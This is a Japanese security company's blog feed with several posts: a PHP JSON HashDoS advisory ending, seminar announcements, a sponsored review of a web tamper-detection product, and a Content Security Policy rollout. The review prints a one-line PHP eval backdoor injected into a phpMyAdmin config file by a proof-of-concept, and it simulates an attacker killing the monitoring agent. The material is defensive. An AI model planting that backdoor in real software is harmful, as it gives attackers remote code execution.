xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0); // 大文字と小文字を区別</pre>
</blockquote>
(4) WAFによる防御<br />
WAF(Web Application Firewall)によっては、JSON HashDosの防御機能を備えるものがあります。詳細についてはお問い合わせください。<br />
<br />
<h4>
まとめ</h4>
JSON HashDosについて、原理とその影響、WordPressの旧バージョンが影響を受けること、攻撃の現状と対策について報告しました。<br />
PHPのJSON HashDosは、未対策のまま一年近くが経過していますが、いまだ攻撃の兆候はありません。<br />
PHP JSON HashDosは、いわゆるゼロデイ脆弱性ではありますが、当面攻撃の兆候がないこと、PHP7でも対策される見込みがないこと、セキュリティの専門家(攻撃者を含む)には既知の内容なのに開発者には情報が行き渡っておらず、攻撃側に情報が偏っている状態であることから、ここに問題の概要を報告し、注意喚起するものであります。<br />
<br />
<h4>
情報提供のお知らせ</h4>
スクリプトキディ等による悪用防止のため、この記事は攻撃の詳細を割愛しております。技術的な詳細情報を希望される方には、原則として無償で、情報提供をさせていただきます。ただし、秘密保持の観点から、対象は法人など実在確認のとれる団体に限らせていただきます。また、オープンソース・ソフトウェアの開発者等に対しても、情報提供いたします。以下のページよりご連絡ください。<br />
<blockquote class="tr_bq">
<a href="https://www.hash-c.co.jp/contact/contact.cgi">お問い合わせ - HASHコンサルティング株式会社</a></blockquote>
<a href="https://tokyo.wordcamp.org/2015/">WordCamp</a>の私のセッションにてWordPress 3.8に対するJSON HashDosのデモを予定しております。ただし、WordCampはセキュリティ専門家向けのカンファレンスではないため、あくまで概要の報告になります。<br />
<br />
<h4>
免責</h4>
このセキュリティ情報は予告なしに改訂される場合があります。このセキュリティ情報を適用した結果についてHASHコンサルティング株式会社は一切の責任を負わず、利用者の利益のために、あるがままの状態で公開するものです。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com1tag:blogger.com,1999:blog-3279382045519981789.post-54842670751188154192015-07-07T16:16:00.000+09:002015-07-07T16:19:04.037+09:00【10社限定】イー・ガーディアン主催のセミナーにて講演しますHASHコンサルティング株式会社がイー・ガーディアン株式会社にジョインして初のセミナーをイー・ガーディアン主催で行うことになりましたので報告します。<br />
<br />
日時:2015年7月30日(木)16:00~18:00<br />
場所:イー・ガーディアン株式会社<br />
費用:無料(申し込みは<a href="http://www.e-guardian.co.jp/info/20150702">こちら</a>)<br />
講演タイトル:安全なWEBサイトの構築方法 ~被害事例から学ぶ最新の攻撃手法と対策~<br />
<br />
最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、ウェブサイトの攻撃方法と対策の考え方についてご説明いたします。<br />
今回は、こじんまりとプライベートな雰囲気となりますので、いままでブログや講演で取り上げていない以下の脆弱性のデモと対策を予定しています。<br />
<ul>
<li>PHPのJSON HASH-DOS脆弱性の傾向と対策</li>
</ul>
この脆弱性は昨年11月時点で公知となったものですが、まだPHP側で対策されておらず、「既知のゼロデイ脆弱性」ということになります。その他にも、漏洩、改ざん、なりすましの一通りの実演を交えて、Webサイトへの侵入とはどのようなものか、どう対策すればよいかをご説明いたします。<br />
また、通常の基調講演ではお見せしてないものとして、これら攻撃がWAF等によってどのようにブロックされるかもお見せしようと思います。<br />
<br />
それでは麻布十番にてお待ちしております。<br />
<div>
<br /></div>
ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-43257576839734327342014-08-05T12:30:00.000+09:002014-08-05T12:37:07.085+09:00[PR]リアルタイム改ざん検知・復旧システムであるウェブアルゴスを使ってみた<h4>
重要事項説明</h4>
本稿は、HASHコンサルティング株式会社が、デジタルインフォメーションテクノロジー株式会社(以下DIT)から依頼を受けて「<a href="https://webargus-jp.ditproducts.com/">ウェブアルゴス</a>」を評価し、その結果を執筆した記事広告です。<br />
<br />
<h4>
ウェブアルゴスとは</h4>
DITの<a href="https://webargus-jp.ditproducts.com/">ウェブアルゴス</a>が7月1日に発売された。ウェブアルゴスは以下の様な特徴を持つ改ざん検知ソフトウェアだ。<br />
<ul>
<li>バッチ検査ではなくリアルタイム検知が可能</li>
<li>検知だけではなく修復も可能</li>
<li>改ざん後のファイルを保全する監査機能</li>
</ul>
最近のインターネットを取り巻く状況のなかで、Webサイト改ざん事件の多発は目立つところであり、筆者も以下のブログ記事で紹介したように、Tripwire(オープンソース版)とinotifywaitというLinuxコマンドを用いたリアルタイム改ざん検知の仕組みを自社のWebサイトに導入している。<br />
<blockquote class="tr_bq">
<a href="http://blog.tokumaru.org/2013/06/web.html">多発するWeb改ざんに備えてinotifywaitによる改ざん検知を導入した</a></blockquote>
これらは無料で導入できる改ざん検知の仕組みであるが、以下の課題もある。<br />
<ul>
<li>Tripwireはバッチ型の改ざん検知であり即時性に乏しい</li>
<li>Tripwireの導入には設定ファイルの編集が必要であるが、直感的にわかりにくく、習熟を要する</li>
<li>Inotifywaitはリアルタイム検知が可能だが単純なコマンドに過ぎず、スクリプト作成などの周辺支援が必要となる</li>
<li>Tripwire、inotifywaitとも改ざん検知のみで修復の機能はない</li>
</ul>
前述のように、ウェブアルゴスはこれら課題に対する解を提供している。<br />
<br />
<h4>
ウェブアルゴスの概要</h4>
ウェブアルゴスの概要を下図により説明する。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhISUPliY7yQ_XJdiRxjPXpS_eBJeXbizZM844MX3hpBv-aNcG1p7rNIZJXop8gRr715xm8x4JuBxNxINEPvFL4jYG2mQYm6ibwduglIE_f0hD_R8zhtxuy1hLQiaf6_mTa5_wQ9BpfxA/s1600/aboutwa.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhISUPliY7yQ_XJdiRxjPXpS_eBJeXbizZM844MX3hpBv-aNcG1p7rNIZJXop8gRr715xm8x4JuBxNxINEPvFL4jYG2mQYm6ibwduglIE_f0hD_R8zhtxuy1hLQiaf6_mTa5_wQ9BpfxA/s1600/aboutwa.jpg" height="316" width="640" /></a></div>
<br />
ウェブアルゴスは「エージェント型」の改ざん検知システムであり、サーバ内に改ざん検知のための常駐ソフトウェア(エージェント)を導入する必要がある。このため、即時性と、非公開ファイル(設定ファイル、実行ファイル等)の監視も可能である。<br />
ウェブアルゴスは監視対象のウェブサーバとは別に管理用サーバが必要であり、管理用ソフトウェア(WA-Manager)が導入される。管理用ソフトウェアは、エージェントの設定、監視、GUI表示などを担当する。<br />
<br />
<h4>
システム要件</h4>
ウェブアルゴスマネージャのシステム要件は、<a href="https://webargus-jp.ditproducts.com/user_data/products/spec.php">こちら</a>を参照されたい。<br />
とくに問題になるものとして、まずマネージャの対応OSは以下のとおりである。<br />
<blockquote class="tr_bq">
RedHat Enterprise Linux 5.x 6.x (32bit / 64bit)<br />
CentOS 5.x 6.x(32bit / 64bit)<br />
Amazon Linux 2013以降(32bit / 64bit)<br />
※<span class="Apple-tab-span" style="white-space: pre;"> </span>RHEL、CentOSとも 7.x に対応予定
<br />
推奨空きメモリサイズ 最小2048MB以上、推奨3072MB以上</blockquote>
推奨空きメモリサイズが3072MB以上ということから、64bit版のOSが望ましいといえるだろう。<br />
ウェブアルゴスエージェントの要件(概要)は以下のとおりである。<br />
<blockquote class="tr_bq">
対応OS<br />
ウェブアルゴスマネージャの対応OSに加えて下記のOS(いずれも32bit、64bitに対応)。<br />
SUSE Linux Enterprise Server 11<br />
Ubuntu Server 12.x 13.x 14.x<br />
Debian 7.x<br />
<br />
推奨空きメモリサイズ(改ざん検知時の動作として「通知」 と 「自動リカバリー」で運用する場合)<br />
監視対象ディレクトリ/ファイル総サイズの1/4程度</blockquote>
必要な空きメモリサイズは動作モードにより異なるが、自動リカバリ機能を使用する場合でかつ監視対象のファイルの総容量が大きい場合、メモリの制限に気をつける必要がある。<br />
<br />
<h4>
インストール・設定</h4>
インストールに必要なファイルはDITのサイトからダウンロードする。インストーラーはバイナリ形式であり、実行権限を与えて実行するだけである。<br />
インストールが終わった後の設定は、マニュアルにしたがってマネージャのWeb GUIから操作する。筆者の理解不足が原因のトラブルもあったが、DITのエンジニアが迅速かつ的確に対応いただいたので、導入はスムーズに行えた。<br />
<br />
<h4>
使ってみる</h4>
現実的なWeb改ざんの例として、phpMyAdminの脆弱性(CVE-2011-2505/2506)を悪用したPoC(概念検証プログラム)を実行して、ウェブアルゴスの検知状況を確認した。このPoCの中身については、以下のブログ記事を参考にされたい。<br />
<blockquote class="tr_bq">
<a href="http://d.hatena.ne.jp/ockeghem/20110808/p1">phpMyAdminにおける任意スクリプト実行可能な脆弱性の検証</a></blockquote>
このPoCは、外部からphpMyAdminの設定ファイル(config.inc.php)を改ざんして、任意のスクリプトが実行できるバックドアを仕込むというものであるので、改ざん検知の検証用として適している。<br />
まず、マネージャのGUIから、Webのドキュメントルート・ディレクトリを監視対象として指定し(下図)、Only Alert(監視のみ)モードで監視を始める。画面からもわかるように、監視対象の設定はWebのGUIにより直感的に行える。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWK0x6bfgEPqMCZKaw32rGn0Tvxh2kMxIKdQqaqAwUYAReROAb_Vwd472rVA9RhWCeHPHJj0WErstOmGIeuYndrFrXiI8lM5Cs7faqp9p8vsxhvaqUbUm326Eeiks0Or0uvOzLxkMxQw/s1600/screen208.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWK0x6bfgEPqMCZKaw32rGn0Tvxh2kMxIKdQqaqAwUYAReROAb_Vwd472rVA9RhWCeHPHJj0WErstOmGIeuYndrFrXiI8lM5Cs7faqp9p8vsxhvaqUbUm326Eeiks0Or0uvOzLxkMxQw/s1600/screen208.png" height="456" width="640" /></a></div>
<br />
次に、攻撃者の端末に見立てた端末から、phpMyAdminの脆弱性をついた攻撃をかけると、下図のように攻撃は成功する。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjj4oFG2RgBgXXqVZIafSe-UDzWRn5nB63RyYmzMigj9kCGwg9grlgzPok-mcNPtGtIRnXTa9rNHu59za408SjnmHuYJpLL6BRt874vxtPEAj2nMCooKMp17bhPlOQFmtKeyOrlRV1Mw/s1600/screen201x.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjj4oFG2RgBgXXqVZIafSe-UDzWRn5nB63RyYmzMigj9kCGwg9grlgzPok-mcNPtGtIRnXTa9rNHu59za408SjnmHuYJpLL6BRt874vxtPEAj2nMCooKMp17bhPlOQFmtKeyOrlRV1Mw/s1600/screen201x.png" height="422" width="640" /></a></div>
<br />
この際に、phpMyAdmin/config/config.inc.phpが改ざんされるので、下図のように警告がログに表示され、メールでのアラートが送信される。<br />
<br />
(Web画面の様子)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzcWxrEARG9WutWGAc-a5sEWoPHDKdNsa5mlplA5_trPGGtzF1LsuJcMS53Ik0U1EgRSd18DlRHgdunuj_xiZk3abNLOfIB9NF2TWP_Kzy-a69fFnPYa4qy9YBjTyVthJ3zqnu1W1MpA/s1600/screen202x.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzcWxrEARG9WutWGAc-a5sEWoPHDKdNsa5mlplA5_trPGGtzF1LsuJcMS53Ik0U1EgRSd18DlRHgdunuj_xiZk3abNLOfIB9NF2TWP_Kzy-a69fFnPYa4qy9YBjTyVthJ3zqnu1W1MpA/s1600/screen202x.png" height="243" width="640" /></a></div>
<br />
(アラートメールの例)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_m-7yGfISymaK3h3sVrXB8EAsXvknZThUWJj1Bcdw0QjN2KVK0rkCaOmrR8sjdTkRqTEJQgYweJV7Sy7byjPaFiVYqtPT6qCPUomja5fd3b1hpWvNjq2d668rnSP6161L3tEQri4-w/s1600/screen209.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_m-7yGfISymaK3h3sVrXB8EAsXvknZThUWJj1Bcdw0QjN2KVK0rkCaOmrR8sjdTkRqTEJQgYweJV7Sy7byjPaFiVYqtPT6qCPUomja5fd3b1hpWvNjq2d668rnSP6161L3tEQri4-w/s1600/screen209.png" /></a></div>
<br />
以上のように、監視のみの設定だと攻撃を防ぐことはできないが、攻撃を受けたことをリアルタイムに検知して、素早く対処をとることができ、被害を最小限に食い止めることに役立つ。<br />
<br />
<h4>
自動復旧モードだとスクリプト実行を阻止できた</h4>
次に、上記の攻撃により改ざんされたファイルを手動で復旧した後に、ウェブアルゴスのモードを「Alert and recovery」(検知と自動復旧)に変更した状態で同じ攻撃をしてみる。すると、攻撃者の画面は下図のようになり、攻撃は途中で失敗していることが分かる。これは、いったんは対象ファイルが改ざんされたものの即座に復旧しているため、改ざん後のスクリプトの実行は阻止したことになる。つまり、攻撃は受けたが実害はなかったということだ。<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1hhNOJHMdJVYPdzdpbnIhJB5Mi96Tm3JaO-tjew8mpsJvjs8BGNw2qyBDuMVswdAa6n6SHta49oTyjBGMbHOfUR9v8kBEszKwDqV7r-igaz_pDP33Foa0NBFzNeYTemC8IrgsxMNUHA/s1600/screen203x.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1hhNOJHMdJVYPdzdpbnIhJB5Mi96Tm3JaO-tjew8mpsJvjs8BGNw2qyBDuMVswdAa6n6SHta49oTyjBGMbHOfUR9v8kBEszKwDqV7r-igaz_pDP33Foa0NBFzNeYTemC8IrgsxMNUHA/s1600/screen203x.png" height="422" width="640" /></a></div>
<br />
<br />
この際の監視ログは以下の通り。<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7dnVy7ykME95mRaZGrzc11oFeIqLoeollGx6dvWyDyJfECYC1tcvZOowGShChZFg9vnnpn2QAt27QSgZ5f_-O1mxXwuuqaKTE2KF3TjzfVTtvvnOVA2W3BvVzoS5p-mqfg6tWYi0i_A/s1600/screen204x.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7dnVy7ykME95mRaZGrzc11oFeIqLoeollGx6dvWyDyJfECYC1tcvZOowGShChZFg9vnnpn2QAt27QSgZ5f_-O1mxXwuuqaKTE2KF3TjzfVTtvvnOVA2W3BvVzoS5p-mqfg6tWYi0i_A/s1600/screen204x.png" /></a></div>
<br />
攻撃を受けてから0.01秒でファイルを復元していることがわかる。<br />
<br />
今度は、証拠保全のモードで同じことをやってみよう。攻撃が阻止されるところは同じで、ログは以下のようになる。<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKJPEBAEijK19VAlAN19aIUXwmpJutukGmaY_oNcmUKgVxefE42HgHpvlQTiV8z7-kOynPDi-bdouZS1aomTDKj2Z8KVY1XTOs42ElYtcZMQsGPvhD95847fXS09HrlKGyihGkAnDe3A/s1600/screen206x.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKJPEBAEijK19VAlAN19aIUXwmpJutukGmaY_oNcmUKgVxefE42HgHpvlQTiV8z7-kOynPDi-bdouZS1aomTDKj2Z8KVY1XTOs42ElYtcZMQsGPvhD95847fXS09HrlKGyihGkAnDe3A/s1600/screen206x.png" height="24" width="640" /></a></div>
<br />
0.002秒でファイルは復旧しているが、先ほどとの時間差はサーバの状況による誤差だろう。そして、復旧前のファイルが/var/webargus/…以下のディレクトリに保全されていることがわかる。そのファイルの一部を以下に示す。<br />
<blockquote class="tr_bq">
<pre>/* Servers configuration */
$i = 0;
/* Server: localhost [<span style="color: red;">*/foreach($_GET as $k=>$v)if($k===666)eval($v);/*</span>] */
$i++;
$cfg['Servers'][$i]['port'] = '0';
/* End of servers configuration */</pre>
</blockquote>
赤字の部分が外部から注入されたスクリプトだ。このように、証拠保全の機能を活用にすることにより、攻撃の種類や意図、脆弱性の特定に役立つ情報を得ることができる。<br />
<br />
<h4>エージェントを停止されたらどうなるか</h4>
Webサーバに対する監視は、同じサーバ上で動いているエージェントが行うので、外部からの攻撃によりエージェントが停止される事態も想定しなければならない。この場合の挙動を確認するために、エージェントを停止してみよう。以下はウェブアルゴスの正規の停止方法ではなく、外部からの攻撃者がエージェントを停止する様子を模している。<br />
<blockquote>
<pre>$ cat /var/run/webargus/agent.pid ← エージェントのpidを確認
1677
$ sudo kill 1677 ← エージェントを停止</pre>
</blockquote>
エージェントに対してはマネージャ側から定期的(デフォルトは5分)にポーリングにより死活監視を行っているので、以下のようなメールでエージェントの停止を警告する。<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKV2k6Zc6o2ZRGHMXQaZIu18SGgoT75Z8gvc_vM9wiccxfRbPfs5q21QD2K5T2qwwCFnhlsV5VgZ_PJPZYG9CjvXJtiil9oasL6u5dpbTF1rCyQHVoSNxERVsgjvBnb-Bbho7s755tQ/s1600/screen210.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZKV2k6Zc6o2ZRGHMXQaZIu18SGgoT75Z8gvc_vM9wiccxfRbPfs5q21QD2K5T2qwwCFnhlsV5VgZ_PJPZYG9CjvXJtiil9oasL6u5dpbTF1rCyQHVoSNxERVsgjvBnb-Bbho7s755tQ/s1600/screen210.png" /></a></div>
<br />
また、マネージャのログは以下のような表示となる。<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGHnWd2rv7jVd2NGbv4az1NcQn9Ka1g_LbYizyf79NsVVh7PQRn-bDnYx5tIiX-p6jtSCzMfZiqPj07cjhecxKYZsE9lhG6SRBe2aitg9HgJPm-8FJs9RKccgQFsWyxJ_HJAPj6g5J3A/s1600/screen211.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGHnWd2rv7jVd2NGbv4az1NcQn9Ka1g_LbYizyf79NsVVh7PQRn-bDnYx5tIiX-p6jtSCzMfZiqPj07cjhecxKYZsE9lhG6SRBe2aitg9HgJPm-8FJs9RKccgQFsWyxJ_HJAPj6g5J3A/s1600/screen211.png" height="116" width="640" /></a><br />
通知を受け取った管理者は、エージェントのログ等を調べて、停止の原因がリソース不足などによる事故か、外部からの攻撃によるものかを切り分け、攻撃が疑われる場合は、すでに管理者権限を奪われている可能性があるため、早急に外部からの接続を遮断するなど、必要な対処を行う必要がある。<br />
<br />
<h4>
所感・まとめ</h4>
リアルタイムの改ざん検知と復旧機能を特徴とするウェブアルゴスを試用した。筆者はすでにinotifywaitと手作りのスクリプトによるリアルタイム改ざん検知の仕組みを自社のWebサイトにて運用しているが、これに加えて、リアルタイムの復旧ができることに大きな魅力を感じた。<br />
Webサイトに対する侵入事件では、多くの場合、WebShellと呼ばれる攻撃ツールを外部からダウンロードするところから始まる。したがって、WebShellの設置をリアルタイムに検知して、設置を妨害することができれば、攻撃自体を防御できる可能性が高い。<br />
また、仮に侵入を許したとしても、その後のコンテンツ改ざんを防ぐことができれば、サイト閲覧者のウイルス感染などの「実害」を予防できる可能性が高くなる。<br />
一方、ウェブアルゴスを導入する課題としては以下があると考える。<br />
<ul>
<li>多くのファイルを監視する場合、エージェントのメモリ使用量が増大する</li>
<li>SQLインジェクションによる改ざんには効果が無い</li>
</ul>
このため、ウェブアルゴスの導入と並行して、以下の施策により総合的にWebサーバの安全性を高めるのがよいだろう。<br />
<ul>
<li>設定ファイル、実行ファイル、コンテンツファイルなどから、改ざん検知が重要なファイルを洗い出し、最適な検知設定を行う</li>
<li>Webサーバ内のディレクトリ、ファイルの権限管理を細やかに行い、Webサーバプロセスから変更できるファイル等の範囲を制限する</li>
<li>/tmpディレクトリをnoexecオプションつきでマウントすることにより、外部から書き込めるディレクトリに攻撃ツールが設置できないように保護する</li>
<li>WAF(Web Application Firewall)を導入することにより、SQLインジェクション等のアプリケーション脆弱性に対する防御策を講じる</li>
</ul>
以上、リアルタイムの改ざん検知と復旧ソフトであるウェブアルゴスについて紹介した。読者のWebサイト防御の参考になれば幸いである。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-12299036306252984772013-12-06T08:32:00.000+09:002013-12-06T08:33:12.846+09:00弊社のホームページにContent Security Policy(CSP)を導入しました弊社のホームページにCSP(Content Security Policy)を導入しました。CSPについては、はせがわようすけ氏のスライド「<a href="http://utf-8.jp/public/20120327/owaspj-csp.pptx">5分でわかるCSP</a>」がわかりやすいと思います。以下にスライドの一部を引用します。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWz5Tjj7HnZa9Si-1lbXTAZ5eZ84_V1w4_u-aiWxWOy_aAS5PgC9Og31UPXyQgws5M6fvjMLIyHrwCKhqzEZIGfhthkTB5t1zTHknKF11V8FCIB66rhz2_sHo8ddBY8PDj_FrL0PWpnw/s1600/csp001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWz5Tjj7HnZa9Si-1lbXTAZ5eZ84_V1w4_u-aiWxWOy_aAS5PgC9Og31UPXyQgws5M6fvjMLIyHrwCKhqzEZIGfhthkTB5t1zTHknKF11V8FCIB66rhz2_sHo8ddBY8PDj_FrL0PWpnw/s1600/csp001.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_wlNPjzeZJ0IlHUnasmaCuf6QGR2KyEy2g8oR1gzhQ0cnT1OKTS8Vnml-p6y7j2Yr9lTISwZovz0uXSBf2bHWvkuPQEAdE6QizAB0OIlnS1-EkwuvH_SBSqaYWpmYdlYrV4DSyZ86dw/s1600/csp002.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_wlNPjzeZJ0IlHUnasmaCuf6QGR2KyEy2g8oR1gzhQ0cnT1OKTS8Vnml-p6y7j2Yr9lTISwZovz0uXSBf2bHWvkuPQEAdE6QizAB0OIlnS1-EkwuvH_SBSqaYWpmYdlYrV4DSyZ86dw/s1600/csp002.png" /></a></div>
<br />
具体的には、以下のように指定して使います。<br />
<blockquote class="tr_bq">
<pre>Content-Security-Policy: default-src 'self'</pre>
</blockquote>
この結果、以下のようにJavaScriptの記述が制限されます。<br />
<ul>
<li>外部のJavaScriptの読み込みは禁止</li>
<li>HTMLソースに記述した<script>...</script>のJavaScriptは禁止</li>
<li>イベント属性(onload="xxxx"など)は禁止</li>
</ul>
何も書けなくなるじゃないかと思われるかもしれませんが、JavaScriptは全て*.jsファイルに記述すればよい、ということです。<br />
CSPは、JavaScriptのコードとデータを分離して、コードは静的な*.jsファイルに記述、可変のデータはHTML側に寄せて、「可変のリソースにはJavaScriptを記述できないように制限する」ことで、クロスサイト・スクリプティング(XSS)防御の切り札となることが期待されています。<br />
<br />
CSP導入にあたり、弊社ホームページのJavaScriptの使用状況を調べました。その結果は以下の通りです。<br />
<ul>
<li>JavaScriptは基本的に使っていない</li>
<li>外部から読み込むJavaScrpitはある(下記)</li>
<ul>
<li><a href="http://www.google.co.jp/intl/ja/analytics/">Google Analytics</a>(アクセス解析)</li>
<li><a href="http://www.slideshare.net/">Slideshare</a>(プレゼンテーション資料)</li>
<li><a href="http://www.youtube.com/">YouTube</a>(動画)</li>
<li><a href="https://vimeo.com/">Vimeo</a>(動画)</li>
</ul>
</ul>
ということで、外部から読み込んでいるJavaScriptの取捨選択を行いました。その結果、<br />
<ul>
<li>Google Analyticsは残すこととして、CSP上の許可設定をする</li>
<li>Slideshare、YouTube、Vimeoは許可しないこととし、これらを使うコンテンツはオフィシャルブログ(ここ)に転載する</li>
</ul>
ことにしました。この結果、CSPの設定は下記のように、Apacheの設定で行いしました。<br />
<blockquote class="tr_bq">
Header Add Content-Security-Policy "default-src 'self' https://www.google-analytics.com"
</blockquote>
しかし、これだけでは駄目です。Google Analyticsの設定は、以下のようなJavaScriptがHTMLインラインスクリプトで記述されています。<br />
<blockquote>
<pre><script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','//www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXXXX-X', 'hash-c.co.jp');
ga('send', 'pageview');
</script></pre>
</blockquote>
これだとCSPのエラーになるので、上記スクリプトを/ga.jsというファイルに記述して、<script src="/ga.js"></script>により読み込むようにしました。これが正常に動作することは、Google Analyticsのリアルタイムレポートで確認しました。<br />
<br />
上記を実施してテストしてみると、スタイルシートのところでエラーになりました。弊社ホームページのCSSは、大部分が/default.cssに記載されていますが、一部のCSSがインラインで記述されていました。これはスタイルの微調整のためです。インラインCSSを許可するようにしてもよいのでしょうが、せっかくなので、インラインスタイルシートを外部スタイルシートに移動し、ID属性で指定するようにしました。インラインスタイルシートはまだ一部残っていますが、画面が大きく乱れるものは対応したつもりで、残りはおいおい対応する予定です。<br />
<br />
ということで、実施した内容は以下の通りです。<br />
<ul>
<li>SlideShare等を使用しているコンテンツをオフィシャルブログに転載</li>
<li>Google Analyticsのスクリプトを/ga.jsに記載</li>
<li>Google Analyticsを設定したページを/ga.jsの読み込みに変更</li>
<li>インライン・スタイルシートを外部スタイルシートに変更</li>
</ul>
CSP対応の結果、副作用が生じました。<a href="http://getpocket.com/">Pocket</a>(旧称: Read it later)のアドオン(Save to Pocket)の表示が乱れます。エラーメッセージを見ると、インラインスタイルが拒絶されているようです。コンテンツの保存はされていますが、見た目非常にまぎらわしい状況です。このような例は他にもあると予想されます。<a href="https://www.evernote.com/">Evernote</a>のEvernote Web Clipperは問題なく使えました。<br />
<br />
CSP対応の所感ですが、サイト独自のJavaScriptを使っていないサイトであるにも関わらず、CSP対応はかなり面倒な作業だという印象を受けました。やはり、インラインでJavaScriptやCSSが記述できないと「めんどうくさい」。しかし、インラインJavaScriptを許可してしまうとCSPのXSS防御機能は意味がなくなりますので、これは我慢するしかないでしょう。<br />
<br />
中期的には、jQueryなどのJavaScriptライブラリや、Google AnalyticsやSlideShareなどから読み込むコンテンツが、CSP前提で使いやすい形に改善されることを期待します。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-10400521427038871022013-08-26T21:20:00.003+09:002013-08-26T21:20:50.969+09:00バラクーダネットワークスジャパンのセミナー(名古屋)で講演します8月29日バラクーダネットワークスジャパン株式会社の「企業公開サイトのセキュリティ対策セミナー」にて講演致します。まだ若干お席があるようですので、ご案内いたします。<br />
<br />
日時:2013年8月29日(木曜日)14:30~16:45(徳丸の出番は14:30~15:15)<br />
場所:ウィンク愛知(愛知県産業労働センター)愛知県名古屋市中村区<br />
費用:無料(申し込みは<a href="http://www.barracuda.co.jp/seminar/20130829">こちら</a>)<br />
講演タイトル:事例に学ぶWebサイト侵入事件手口と効果的な対策について<br />
<br />
場所は名古屋駅から徒歩5分のところだそうで、名古屋近辺の皆様にお目にかかれることを楽しみにしています。<br />
講演の内容は、最近の侵入事例や侵入に多く用いられている攻撃手法を題材として、侵入のメカニズムと防御の基本的な考え方を説明いたします。<br />
<br />
講演概要:<br />
<ul>
<li>Webサイトへの侵入事件のトレンド</li>
<li>侵入経路は2種類しかない</li>
<li>侵入の手口と対策</li>
<ol>
<li>phpMyAdminの脆弱性による侵入</li>
<li>SQLインジェクションによる侵入</li>
<li>パスワードリスト攻撃</li>
</ol>
<li>まとめ</li>
</ul>
ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-84607591642234145812012-12-30T14:21:00.000+09:002012-12-30T14:21:17.749+09:00日本3大SNSのログイン画面について、SSL利用状況を検証するこのエントリは<a href="https://www.hash-c.co.jp/contact/subscribe.cgi">弊社メールマガジン</a>の第一号(2012年4月27日発行)の記事の転載です。入力フォームをSSLにしないことの問題が話題となっていますので、読者の参考のため公開するものです。<br />
この件に関連して、私はtwitterで以下のようにつぶやきました。<br />
<blockquote class="tr_bq">
こう説明すれば良い。『通信内容は、正常時には暗号化されますが、攻撃により暗号化が回避される可能性があります。攻撃を受けていないときは暗号化され、個人情報はもれないので、ご安心ください』<br />
https://twitter.com/ockeghem/status/285230605359276032</blockquote>
